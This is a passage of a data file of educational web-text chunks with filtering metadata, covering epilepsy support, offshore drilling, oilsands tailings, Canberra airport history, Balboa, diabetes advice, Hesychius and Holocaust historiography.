"similarity_score": 0.4773860538352028, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.550851"} {"text": "illness are separate conditions. sometimes people with epilepsy experience fear that they may be mentally ill. they are usually relieved to hear that what is happening to them is merely the result of seizure activity in the brain. of course some people with epilepsy do experience mental illness, just as some people do who have no physical problems, but there is no clear relationship between the two conditions. could i injure anyone during a seizure? although a seizure involving jerking of the limbs can look violent, the movements are undirected and it is therefore not possible to carry out a planned attack on anyone. injury to others occurs only if they get in the way accidentally ; when trying to suppress the limb movements, in the period after a seizure when you may be confused, or if you feel threatened ( i. e. someone holding you down ). injury to yourself occurs rarely and almost always only if there is a loss of consciousness ( generalised seizures ) ( especially when working at heights, with dangerous machinery or swimming unaccompanied ). if you take generalised seizures you should be sensible and avoid situations where you could put yourself at serious risk. if i lose my job what benefits might i be entitled to? if seizures are a major problem or you also have a physical impairment, find out about eligibility for disability living allowance ( dla ) or attendance allowance ( aa ). the department for work and pensions is the government \u2019 s benefit agency. their general benefit enquiry line offers confidential advice and information for people with disabilities, and their carers and representatives, about social security benefits and how to claim them. freephone 0800 88 22 00 or free textphone for people with speech or hearing difficulties 0800 24 33 55. for specific advice on dla or aa, call the dla helpline on 08457 12 34 56. their website holds information on both dla and the carer \u2019 s allowance, explaining who is eligible and how to claim. alternatively, you may wish to ask your medical team to refer you to a social worker or citizens \u2019 advice bureau to help you determine what benefits you may be entitled to. no one on regular anticonvulsants need pay prescription fees, for example, while you may be eligible to apply for a travel pass, depending on the area in which you live. the medic alert foundation can supply you with a tag to go on a necklace or a wristband, which gives a very brief outline of your medical condition. there is also a telephone number on the tag for para", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45718502317975385, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.551902"} {"text": "the area in which you live. the medic alert foundation can supply you with a tag to go on a necklace or a wristband, which gives a very brief outline of your medical condition. there is also a telephone number on the tag for paramedics to call in order to discover more details about you. this is a reassuring thing to have if you are worried about having a seizure when you are out and about by yourself. tel. 0207 833 3034 east anglian ambulance service have launched a national \" in case of emergency ( ice ) \" campaign. the idea is that you store the word \" ice \" in your mobile phone address book, and against it enter the number of the person you would want to be contacted \" in case of emergency \". in an emergency situation ambulance and hospital staff will then be able to quickly find out who your next of kin are and be able to contact them by accessing your mobile phone. if you are concerned about being left alone at home you may want to consider having a lifeline alarm unit or a piper alarm service fitted in your house. usually used for older people, they are also available for you if you have seizures and may need medical assistance. the alarms consist of a button which you can wear around your neck and press to alert the operator and mobile warden service that you need help. there are private versions available, but the least expensive option is probably to contact the welfare officer at your local council and ask for an assessment. an example of cost would be a weekly charge of \u00a33. 07 plus vat, which includes having the unit installed and all the support services that goes with it. to find the number of your local council, use yellow pages or www. yell. com the national society for epilepsy supplies a wide range of information and support services. they also run a \" living well \" programme, designed to help people develop the skills and confidence to cope with their epilepsy and to live life to the full. their uk helpline is open 10am - 4pm, monday to friday, on 01494 601 400 ; the direct line for the \" living well \" programme is 01494 601 387. epilepsy action has an extensive network of branches throughout the uk which provide local support to people with epilepsy, their family and friends and professional carers. run by volunteers, most branches hold regular meetings and offer a mixture of social events and informative talks and discussions for both adults and teenagers with epilepsy. helpline", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.43888526260660743, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.552917"} {"text": "offshore drilling has created a $ 70 billion - a - year industry and more than 300, 000 jobs in louisiana. it also has fueled a heated debate over tapping oil and natural - gas deposits off the north carolina coast, though few have asked what kind of impact it would have on the tar heel economy. \u201c nobody knows, \u201d says jim smith, an economist at western carolina university in cullowhee. \u201c that \u2019 s the only answer. \u201d unc greensboro economist andrew brod agrees. though it would be a drop in the bucket compared with louisiana, there might be some surprises. \u201c i can \u2019 t come up with a scenario in which, even if they found the biggest oil field in history, you \u2019 d build a refinery in north carolina, \u201d says smith, a professor at western carolina \u2019 s institute for the economy and the future. \u201c you \u2019 ve got refineries in philly and new jersey already. besides, no new refineries have been built in the u. s. since 1973. \u201d brod, director of uncg \u2019 s office of business and economic research, says the state probably would miss another economic plum \u2014 construction of drilling rigs. they \u2019 re built ashore in segments and assembled at sea, but the platforms \u2014 $ 500 million to $ 1 billion each \u2014 wouldn \u2019 t come from north carolina. foreign shipbuilders furnish most, and if a domestic rig - building and - service industry did develop, it likely would be near the deep - water ports of norfolk, va., or charleston, s. c. it \u2019 s not clear whether the state would collect lucrative licensing and other fees. drilling would be in u. s. territorial waters, far beyond north carolina \u2019 s three - mile limit. two coastal counties \u2014 hyde and dare \u2014 have ordinances that prohibit pipelines across their portions of the outer banks, raising the question of how oil or natural gas might come ashore. drilling wouldn \u2019 t be an economic bust, though. smith and brod say oil - rig workers, who rotate between platforms and shore, probably would live near what brod calls transit points, the tar heel ports in morehead city and wilmington. and smith, a longtime drilling proponent, says the biggest impact might be incidental to drilling. \u201c most oil experts are dubious that there \u2019 s much oil east of cape hatteras, but they believe there are enormous amounts of natural gas. \u201d that could provide cheap, abundant fuel for development of energy - intensive manufacturers in eastern north carolina", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.37491444425919274, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.556048"} {"text": ". \u201c most oil experts are dubious that there \u2019 s much oil east of cape hatteras, but they believe there are enormous amounts of natural gas. \u201d that could provide cheap, abundant fuel for development of energy - intensive manufacturers in eastern north carolina. \u201c aluminum leaps to mind, \u201d he says. gov. mike easley opposes offshore drilling, which he says could threaten a vital part of the state \u2019 s $ 16 - billion - plus tourism economy and endanger marine industries valued at more than $ 682 million a year. \u201c people should not be tricked into believing that offshore drilling would solve our dependence on oil. \u201d brod agrees, noting that it would have little effect on prices or supplies. \u201c any benefit would be diluted by the fact oil will be injected into a global market. it might have a few pennies \u2019 effect, but it is so small it would not be part of the calculation. \u201d the state, he says, needs a study balancing costs and risks. some aren \u2019 t willing to wait. in late august, carteret county commissioners voted to support offshore drilling. new bern \u2014 brunswickcut 325 jobs here and in edenton. the lake forest, ill. - based boat maker didn \u2019 t specify how many were eliminated at each plant. before the layoffs, it employed more than 950 here and about 95 in edenton.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3783568957105238, "token_count": 275, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.556572"} {"text": "edmonton - while oilsands firms have made significant environmental improvements in recent years \u2014 from using less fresh water, emitting less sulphur and reclaiming land into treed hills and meadows \u2014 images of huge tailings ponds have tarred the industry. because the fine clays \u2014 part of the sand, water and residual bitumen mix left after the bitumen is extracted \u2014 won \u2019 t settle out, companies had to build more and more ponds to contain the backlog. but recent technological advances, new, tougher standards from the provincial regulator and a decision by the oilsands companies late in 2010 to share existing tailings research, should see an end to most of them within the next few years. here are some highlights : it \u2019 s new tailings management process, called tro, looks like a game - changer. the liquid tailings are mixed with a binding material and spread over a sloping beach in multiple thin layers. suncor plans to spend $ 1. 2 billion over the next couple of years to build and expand the system, which can remove water from the liquid tailings in a matter of weeks. early success has already enabled suncor to cancel its plans for five additional tailings ponds, and it will likely reduce the number of ponds at its site from eight to just one as it gets to work on quickly reclaiming its older ponds. last september, suncor marked an industry milestone by becoming the first oilsands company to complete reclamation of a tailings pond, with thousands of trees and bushes planted on the former 220 - hectare riverside site formerly known as pond 1. the first dike was built in 1967 when suncor began operations, but the walls were heightened again and again as the tailings refused to settle, leaving the firm with the only one option \u2014 to build more and more ponds. the firm was the first to reclaim dry areas beside mining pits, now home to bison herds, and will soon completely reclaim its first former tailings pond. it is noteworthy that this site will include the first recreated fen \u2014 a low, wet area that is biologically rich and common through the boreal area. syncrude uses various methods to handle its tailings, including water capping \u2014 pumping fresh water to cap a tailings pond and promote settling \u2014 and composite tails techniques, which involve adding gypsum to thicken the tailings. currently it is putting a big effort into its centrifuge technology, with extensive field tests now complete and commercial - scale implementation on the way. the technology involves putting tailings", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39170366517096844, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.561356"} {"text": ", which involve adding gypsum to thicken the tailings. currently it is putting a big effort into its centrifuge technology, with extensive field tests now complete and commercial - scale implementation on the way. the technology involves putting tailings through spinning vessels which remove the water. the resulting paste is easily handled and quickly reclaimed. canadian natural resources cnrl \u2019 s horizon project is the leader in testing carbon dioxide to help settle out the tailings, injecting the liquefied gas into the slurry before the tailings enter the pond where it reacts to form carbonic acid. this reaction changes the acidity of the tailings mixtures and allows the fine clays, silt and sand to settle quickly and leave cleaner water which can be immediately recycled into the bitumen extraction process. when the new horizon facility is expanded in the next few years, another new treatment will be added. spinning chambers will remove water from the coarse sand, and thickeners will remove the water from the fine clays, silts and sand. these dewatered tailings streams will then be combined with waste co2 from the plant. more water will be released when the tailings are deposited, and the co2 will react chemically to form mineral carbonates, basically sedimentary rock. since 2006, shell has been working on a technology that involves collecting fine tailings from a discharge pond and adding chemicals to accelerate de - watering, a system called atmospheric fines drying ( afd ). the material is then placed on a sloping surface to enhance further drying by evaporation. the 300 - square - metre test area will contain 250, 000 tonnes of sand and clay by the end of the year. a second, larger test area will open this year. the edmonton - based firm sees rare minerals like zircon and titanium, as well as bitumen and solvents, in tailings. its technology, run recently in a pilot project at the federal canmetenergy in devon, proved a success. the firm aims to partner with suncor, syncrude or canadian natural resources this year to build a commercial - sized, stand - alone project. titanium \u2019 s technology works on the froth tailings \u2014 the most concentrated stream of the two tailings streams that pour into the ponds. and its current system works only with naphtha - based processes used by syncrude, suncor and cnrl. a second system, designed to work with the paraffinic tailings produced by shell and imperial \u2019 s kear", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4738043353008958, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.563823"} {"text": "in the early 1924 a paddock ( now playing fields near the inner canberra suburb of dickson ) was the \u2018 designated \u2019 airfield for canberra and known as the northbourne aviation ground. however, as canberra was not a scheduled destination, it was mostly used for emergency landings for aircraft on domestic routes such as sydney to adelaide. in late 1926 with the opening of parliament house approaching and celebrations with a royal australian airforce flying display, the dickson airfield was considered unsuitable to host the variety of aircraft expected. instead, a paddock in the majura valley owned by the campbell family, graziers at the time, was deemed by airforce captain henri petre to be \u2018 absolutely ideal for flying \u2019, with landing distances of \u2018 not less than 1000 yards in all directions \u2019. so in 1926 this site at the corner of the majura valley road and the queanbeyan - duntroon road was leased to the department of defence. four years later it was handed over to the government \u2019 s then - civil aviation control. the raaf may have erected a wooden hut for service personnel attending the opening of parliament house, but the first building formally documented at the \u2018 duntroon aerodrome \u2019 ( later to become canberra aerodrome ) was a large hangar in 1936 at the site where the northern end of canberra \u2019 s present terminal stands. by 1939 work had already begun on construction of a military base on the opposite side of the aerodrome from the civilian hangar. from this time until 2003 when the raaf base was decommissioned, the airport has operated for the needs of both defence and civil aviation. the remaining defence presence on the north - eastern side of the airport now operates the prime minister \u2019 s vip fleet of aircraft. throughout these decades, the airport runways continued to be upgraded and lengthened as aircraft sizes increased and aircraft began landing with greater frequency. the airport terminal too, has undergone some major changes. firstly, it was facade improvement in the early 1950s, followed by small extensions. between 1960 and 1970 passenger numbers exploded form 206, 096 a year to more than half a million, so in 1970 - 71 a bigger terminal was built. in late 1980 with news of the forthcoming opening of new parliament house in 1988, a new domestic terminal was needed requiring a major restructuring of the existing terminal. rolling additions continued throughout the early 1990s. in 1998 the federal government sold the canberra airport to canberra businessman terry snow and his family. it was an airport with declining facilities and rundown aviation infrastructure. the existing terminal alone had 42 different floor levels, having been renovated, added to and", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.37809992270364196, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.567829"} {"text": "vasco nunez de balboa discoverer of the pacific ocean from the west coast of central america, born in spain, 1475, either at badajoz or at jerez de los caballeros ; died at darien, 1517. he went to central america, in 1500 with rodrigo de bastidas and thence, in secret, with martin fernandez de enciso to cartagena. the story that he got aboard either in an empty barrel or wrapped up in a sail may be true. he soon assumed an important role among the participants of the expedition, and settled darien in 1509. then he proclaimed himself governor, and sent both enciso and nicuesa away. from darien he undertook, with a few followers, the hazardous journey across the isthmus that led to the discovery of the pacific ocean. 25 september, 1513, and established beyond all doubt the continental nature of america. the appointment in 1514 of pedrarias davila as governor of the regions discovered and partly occupied by balboa, and his appearance on the coast of darien with a large armament, at once gave rise to trouble. arias was an aged man of mediocre attainments, jealous, deceitful, and vindictive. balboa was generous, careless, and over - confident in the merits of his achievements, and was no match for the intrigues that forthwith began against him. to mask his sinister designs arias gave one of his daughters to balboa in marriage. the latter was allowed to continue his explorations while arias and the licentiate gaspar de espinosa were slowly tightening a net of true and false testimony around him under cover of the inevitable residencia. the crown gave balboa the title of adelantado of the south sea, governor of coyba and of what subsequently became the district of panama, but arias and his agents understood how to reduce these titles to empty honours. quevedo, bishop of castilla del oro, was balboa ' s sincere friend and assisted him, but with quevedo ' s departure for spain the case was lost. fearful lest the bishop ' s appeal for his friend might result against arias and his party, the residencia was at once converted into criminal proceedings, death sentence hastily pronounced, and balboa beheaded for high treason in 1517 at darien. one of the main pretexts for the sentence was balboa ' s action towards enciso and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3984843777816538, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.572851"} {"text": "was at once converted into criminal proceedings, death sentence hastily pronounced, and balboa beheaded for high treason in 1517 at darien. one of the main pretexts for the sentence was balboa ' s action towards enciso and nicuesa. balboa has been credited by most authors with having been first to hear of peru. this is incorrect. in his few attempts at exploring the coast of southern panama he heard only of indian tribes of northern or northwestern colombia. more catholic encyclopedia browse encyclopedia by alphabet the catholic encyclopedia is the most comprehensive resource on catholic teaching, history, and information ever gathered in all of human history. this easy - to - search online version was originally printed in fifteen hardcopy volumes. designed to present its readers with the full body of catholic teaching, the encyclopedia contains not only precise statements of what the church has defined, but also an impartial record of different views of acknowledged authority on all disputed questions, national, political or factional. in the determination of the truth the most recent and acknowledged scientific methods are employed, and the results of the latest research in theology, philosophy, history, apologetics, archaeology, and other sciences are given careful consideration. no one who is interested in human history, past and present, can ignore the catholic church, either as an institution which has been the central figure in the civilized world for nearly two thousand years, decisively affecting its destinies, religious, literary, scientific, social and political, or as an existing power whose influence and activity extend to every part of the globe. in the past century the church has grown both extensively and intensively among english - speaking peoples. their living interests demand that they should have the means of informing themselves about this vast institution, which, whether they are catholics or not, affects their fortunes and their destiny. browse the catholic encyclopedia by topic copyright \u00a9 catholic encyclopedia. robert appleton company new york, ny. volume 1 : 1907 ; volume 2 : 1907 ; volume 3 : 1908 ; volume 4 : 1908 ; volume 5 : 1909 ; volume 6 : 1909 ; volume 7 : 1910 ; volume 8 : 1910 ; volume 9 : 1910 ; volume 10 : 1911 ; volume 11 : - 1911 ; volume 12 : - 1911 ; volume 13 : - 1912 ; volume 14 : 1912 ; volume 15 : 1912 catholic online catholic encyclopedia digital version compiled and copyright \u00a9 catholic online", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43055401237594393, "token_count": 480, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.573895"} {"text": "in the late 1850s the railroad came to town. two lines came to chadds ford \u2014 the east - west running philadelphia & baltimore central rr in 1858 and the north - south running wilmington & reading rr a few years later. the two lines met at chadds ford junction, while only a few hundred yards away on the east side of the brandywine was chadds ford station. the railroads played a significant role in the economic growth of the area. spurs were laid out to accommodate the kaolin companies where fine white potter \u2019 s clay was mined at the turn of the century. the railroad also brought city people from wilmington and philadelphia who discovered the lush rolling hills of the brandywine valley. to have a summer house in chadds ford became the vogue. it was about this time that howard pyle held summer art classes in chadds ford that attracted students from all over the country including frank schoonover, maxfield parrish, and violet oakley. one of them, young n. c. wyeth from massachusetts, came to study under pyle and never left. pyle \u2019 s studio and its students gave rise to the celebrated brandywine school of art, fostered by three generations of the wyeth family. in the early 20th century the village of chadds ford was still a quiet crossroads surrounded by acres of farmland. after ww ii, better roads and the population explosion of the 1950s brought people from the cities to the countryside transforming the rural landscape into a burgeoning suburban community.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4199564566290396, "token_count": 304, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.576161"} {"text": "bnl chemistry department | photo - and radiation chemistry | group members | leaf facility layout | | leaf system components | | features of leaf | | leaf publications | research highlights from leaf : ionic liquids : designer solvents for a cleaner world ( pdf ) storing energy in dendrimer trees : stabilizing charge separation in dendrimers ( pdf ) they bend before they break : fast scission of chemical bonds ( pdf ) the center for radiation chemistry research ( crcr ) exploits pulse radiolysis techniques to study chemical reactions ( and other phenomena ) by subjecting samples to pulses of high - energy electrons. the reactions are followed by various methods of time - resolved spectroscopy and other detection techniques. the crcr includes the new picosecond laser - electron accelerator facility ( leaf ), a 2 mev van de graaff, and a cobalt - 60 source. user access to crcr facilities is encouraged, either through collaboration with bnl staff or via the bnl center for functional nanomaterials ( cfn ) user program. please contact one of our principal investigators or the general facility address ( email @ example. com ) for more information. the design of the leaf accelerator is innovative : the electron pulse is produced by laser light impinging on a photocathode inside a resonant cavity, radio frequency ( rf ) gun about 30 cm long. the emitted electrons are accelerated to 9. 2 mev within the length of the gun by ~ 15 megawatt pulse of rf power from a slac - type 2. 856 ghz klystron. the laser pulse is synchronized with the rf power to produce the electron pulse near the peak field gradient ( about 1 mev / cm ). thus the pulse length and intensity are a function of the laser pulse properties, and electron pulse lengths as short as 5 picoseconds are attainable. rf photocathode electron guns of this type have been built at brookhaven ' s accelerator test facility and source development laboratory as well as at several other laboratories and universities, but almost all of these installations are dedicated to accelerator physics or free electron laser development. the bnl chemistry department ' s leaf accelerator was the first photocathode gun accelerator in the world to be dedicated to pulse radiolysis studies. today, there are seven other pulse radiolysis facilities similar to leaf operating or under construction around the world. the international symposium on ultrafast accelerators for pulse radiolysis was held at the bnl chemistry department in june, 2004, to discuss the state -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5951362782775796, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.582228"} {"text": "from south carolina, usa : my 7 - year - old has just been diagnosed with type 1. she is in the honeymoon phase and her blood glucose levels are staying between 80 - 150, but when i give her the insulin her blood glucose drops to 38 - 68. what should i do when she is not high enough to actually need her shots? is her pancreas working again or what? during the honeymoon period, the amount of insulin required can be very small. during this time, the pancreas does still produce a very small amount of insulin. the end of the honeymoon is actually the time that the pancreas finally stops producing insulin. in addition, a child can be very sensitive to insulin during this time. if you are struggling with low blood sugars, i would review the dosing of the insulin with your diabetes team and adjustments can be made to help prevent low blood sugars. additional comments from jeff hitchcock, the editor : you can dilute the insulin to deliver smaller doses, which might help reduce the risk of hypoglycemia. ask your diabetes team about it. last updated : tuesday april 06, 2010 15 : 09 : 08 this internet site provides information of a general nature and is designed for educational purposes only. if you have any concerns about your own health or the health of your child, you should always consult with a physician or other health care professional. this site is published by children with diabetes, inc, which is responsible for its contents. \u00a9 children with diabetes, inc. 1995 - 2013. comments and feedback.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44711031616350366, "token_count": 316, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.585198"} {"text": "hesychius of alexandria ( \u03bf \u03b1\u03bb\u03b5\u03be\u03b1\u03bd\u03b4\u03c1\u03b5\u03c5\u03c2 ), a grammarian that flourished probably in the 5th century ce, compiled the richest lexicon of unusual and obscure greek words that has survived ( in a single 15th century manuscript ). alexandria ( egyptian arabic : \u0627\u0633\u0643\u0646\u062f\u0631\u064a\u0647 eskendereyya ; standard arabic : ar \u0627\u0644\u0627\u0633\u0643\u0646\u062f\u0631\u064a\u0629 al - iskandariyya ; \u03b1\u03bb\u03b5\u03be\u03b1\u03bd\u03b4\u03c1\u03b5\u03b9\u03b1 grammar is the field of linguistics that covers the rules governing the use of any given natural language. the 5th century is the period from 401 to 500 in accordance with the julian calendar in anno domini / common era. the work includes approximately 51, 000 entries, a copious list of peculiar words, forms and phrases, with an explanation of their meaning, and often with a reference to the author who used them or to the district of greece where they were current. hence the book is of great value to the student of the greek dialects ; while in the restoration of the text of the classical authors generally, and particularly of such writers as aeschylus and theocritus, who used many unusual words, its value can hardly be exaggerated. aeschylus ( \u02c8\u025bsk\u0268l\u0259s or / \u02c8i\u02d0sk\u0268l\u0259s / greek : \u03b1\u03c3\u03c7\u03c5\u03bb\u03bf\u03c2, aischylos, 525 bc / 524 bc 456 bc / 455 bc was an ancient greek playwright theocritus ( greek : \u03b8\u03b5\u03bf\u03ba\u03c1\u03b9\u03c4\u03bf\u03c2 the creator of ancient greek bucolic poetry, flourished in the 3rd century bc hesychius is important, not only for greek philology but also for studying lost languages ( such as thracian and the ancient macedonian language ) and in reconstructing proto - indo - european. \" thracians \" also refers to modern inhabitants of thrace, regardless of ethnicity for the unrelated modern slavic language see macedonian language. hesychius ' explanations of many epithets and phrases also reveal many important facts about the religion and social life of the ancients. in a prefatory letter hesychius mentions that his lexicon is based on that of diogenianus ( itself extracted from an earlier work by pamphilus ), but that he has also used similar works by the grammarian aristarchus of samothrace, apion, heliodorus, amerias and others. diogen", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4903108677813967, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.590073"} {"text": "researchers used to call it the \u201c magic bullet, \u201d a drug that would seek out cancer cells and destroy them while leaving healthy tissue alone. it \u2019 s taking much longer to find that bullet than scientists first hoped, but they \u2019 re getting closer. for one, researchers have successfully engineered antibodies that target the workings behind cancer, as well as other diseases. these drugs home in on diseased cells much more specifically than chemotherapy and radiation do \u2014 but they still can cause side effects that interfere with treatment. | john c. williams | now, city of hope researchers and colleagues have taken a step forward. they \u2019 ve developed a strategy to make these monoclonal antibodies even more effective while lessening their uncomfortable effects. some monoclonal antibodies, like erbitux, work by blocking activity of a protein called epidermal growth factor receptor, or egfr. this protein is key to tumor cells \u2019 survival. but normal, noncancerous cells also use egfr, making them vulnerable to the drugs \u2019 effects. the research team, which included john c. williams, ph. d., assistant professor in molecular medicine and director of the x - ray crystallography core at city of hope, began looking at how to keep erbitux from hurting healthy cells. if they succeed, that might mean fewer skin rashes and less debilitating stomach and intestinal upset for cancer patients. but the researchers also realized their efforts might have another bonus. they might be able to concentrate the therapy directly on tumors, making it more effective, too. williams and the research team designed a molecule that would become active around tumors, but not healthy cells. the molecule is made up of two egfr - blocking monoclonal antibodies, matuzumab and erbitux, linked by a chemical chain. that chain can be broken by an enzyme that is very active in tumors. when linked by the chain, the monoclonal antibodies resist their natural attraction to bind to egfr. but when the cancer - related enzymes break the link between the antibodies, the antibodies become active once again and block the protein. \u201c we designed a product that is inactive around healthy tissue in its \u2018 masked \u2019 state and is only activated at the tumor site into an \u2018 unmasked \u2019 state by the action of enzymes overproduced by cancer cells, \u201d said williams. \u201c the design has potential to improve the targeted release of therapeutic antibodies at disease sites, sparing healthy tissue and possibly lessening any side effects. \u201d the researchers are continuing their", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5036336120740584, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.594348"} {"text": "the human rights council, comprising 47 elected states ( among them 13 states from africa ), replaced the commission on human rights in june 2006. it now meets several times for no less than 10 weeks a year under new procedures. the council is a subsidiary body of the general assembly and is responsible for promoting universal respect for the protection of all human rights and fundamental freedom for all. one of the innovations being introduced is the universal periodic review mechanism which will assess the human rights situations in all 192 un member states. the first session of upr working groups started in april 2008. additional, credible and reliable information provided by ngos will be taken into consideration by the council. the office of the high commissioner for human rights will prepare a summary of such information. states have to justify their candidature for becoming a member of the human rights council in writing. they are elected for a three - years - term by the un general assembly. the candidatures of the states and the current members from africa and other continents can be found here : the human rights council has its own complaint procedure, similar to the former 1503 procedure of its predecessor. important to note is that individual cases as such are not examined under this procedure ; communications are merely collected in order to identify a situation involving consistent patterns of flagrant and systematic violations of human rights. many of the special procedures that have been founded by the human rights council can be invoked as well.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45717004537753403, "token_count": 286, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.598662"} {"text": "deborah dwork is the rose professor of holocaust history and the director of the strassler center for holocaust and genocide studies at clark university. her now classic children with a star gave voice to the silenced children of the holocaust ; it was the first history of the daily lives of young people caught in the net of nazism. children with a star received international critical acclaim and was translated into german, italian, dutch and japanese. it was the subject of a documentary, also called \" children with a star, \" by the canadian broadcasting company. auschwitz, co - authored with robert jan van pelt, established the context in which historians now view that annihilation camp. dwork and van pelt argued that germany sought to reconstruct central europe in its own image, and the germans ' program at auschwitz was key to that ambition. they drew the critically important connection between industrial killing and the daily functions of a society that believed it was involved in constructive activity. the bbc and pbs recognized auschwitz as a remarkable project, and produced the horizon / nova television documentary \" blueprints of genocide \" ( bbc ) / \" nazi designers of death \" ( pbs ) based upon it. auschwitz also provided the core of a seven - part series \" auschwitz : inside the nazi state, \" which was aired in january 2005 in conjunction with the 60th anniversary of the liberation of the camp. auschwitz received the national jewish book award and the spiro kostof award, given every other year to the best book on the physical environment. it has been translated into german, dutch, czech and polish, to much critical acclaim. thinking about the significance of auschwitz in the context of the whole of the holocaust prompted dwork and van pelt to widen the lens, to try to understand the place of the holocaust in the history of the western world. this research yielded holocaust : a history, which spans the long and broad history in which the holocaust was rooted, from the middle ages to the middle of the twentieth century, and across the continent of europe. holocaust explores how different occupation regimes shaped the local populations \" ability to respond to the genocide enacted outside their windows, and it negotiates the chasm between two histories : that of the perpetrators and that of the victims ; the nazis ' push towards a \" final solution, \" and the jews ' reactions and responses. translated into spanish and portuguese as well as dutch, holocaust is helping to shape the study of the holocaust in south america and the iberian peninsula. in the course of writing holocaust, dwork and van pelt investigated the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4296727285288551, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.604828"} {"text": "the jews ' reactions and responses. translated into spanish and portuguese as well as dutch, holocaust is helping to shape the study of the holocaust in south america and the iberian peninsula. in the course of writing holocaust, dwork and van pelt investigated the failure of the allies to respond to the refugee crisis triggered by nazi persecution. they thus became interested in the concept of asylum and the dilemmas of democratic governments when faced with the prospect of mass expulsions of jews from central european countries. should they offer refuge to these people, and thus, indirectly, condone these expulsions? the prospect of another book opened. flight from the reich : refugee jews, 1933 - 1946 examines the ever dwindling choices open to asylum seekers, and the often painful decisions of the many people who dealt with them \u2014 consuls ; immigration officers and other government officials ; church, health, and social workers ; volunteers ; private individuals. government policy and individual practice, and international action and local initiatives loomed large in this chapter of holocaust history. published by w. w. norton in 2009, flight from the reich : refugee jews, 1933 - 1946 encompasses all the occupied and host countries and includes all manner of participants. dwork and van pelt integrate the history of events with the history of people, moving back and forth between the private and the public realms, between personal memory and official history. public events would be of no significance if they did not affect the individual lives of people, and people ' s lives would not have been so sharply and violently shaped as they were had it not been for the sharp and violent events of the public realm. flight from the reich is a story with which the authors have personal connection : both are related by friendship and kinship to many people who left nazi europe as refugees, and to a few who had the opportunity to flee, chose to remain, and survived. flight was a foreword reviews book of the year finalist. now translated into dutch and french, fuir le reich ( as the latter is titled ) was chosen as a grand livre du mois selection. dwork turned her attention to the transit camp the czechs called terezin and the germans theresienstadt in two publications. the terezin album of marianka zadikow ( university of chicago press, 2008 ), is an annotated, edited, facsimile edition, with a historical introduction. marianka zadikow, a young inmate, collected entries by well - known and illustrious people from many walks of life ( artists, musicians, religious", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4753129128637459, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.605831"} {"text": ", is an annotated, edited, facsimile edition, with a historical introduction. marianka zadikow, a young inmate, collected entries by well - known and illustrious people from many walks of life ( artists, musicians, religious leaders ) as well as young children whose promise would never be actualized. in her annotations and introduction, dwork explores the meaning and significance of creative work to the inmates of theresienstadt. a boy in terezin : the private diary of pavel weiner, april 1944 - april 1945 ( northwestern university press, 2011 ), with introduction and extensive annotations by dwork, follows this young inmate ' s life through his bar mitzvah year. closely written in tiny script, pavel ' s diary provides a youngster ' s view of significant events in the history of the camp. equally important, his narrative traces his daily life and lays 